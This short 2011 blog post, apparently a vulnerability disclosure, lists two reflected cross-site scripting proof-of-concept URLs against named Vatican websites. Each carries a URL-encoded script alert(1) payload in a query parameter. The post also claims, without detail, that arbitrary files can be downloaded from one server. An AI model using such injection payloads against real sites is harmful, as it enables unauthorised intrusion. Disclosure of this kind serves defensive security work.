Wednesday, 13 July 2011

old coders from the Vatican .... they are still the same. XSS ...

XSS

http://press.catholica.va/news_services/bulletin/bollettino.php?lang=en%22%3E%3C/a%3E%3Cscript%3Ealert%281%29;%3C/script%3E%3C%22


http://player.rv.va/vaticanplayer01.asp?language=it&visual=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E%3C%22

-----------------------------------------------------

It's possible to download any file from the server rv.va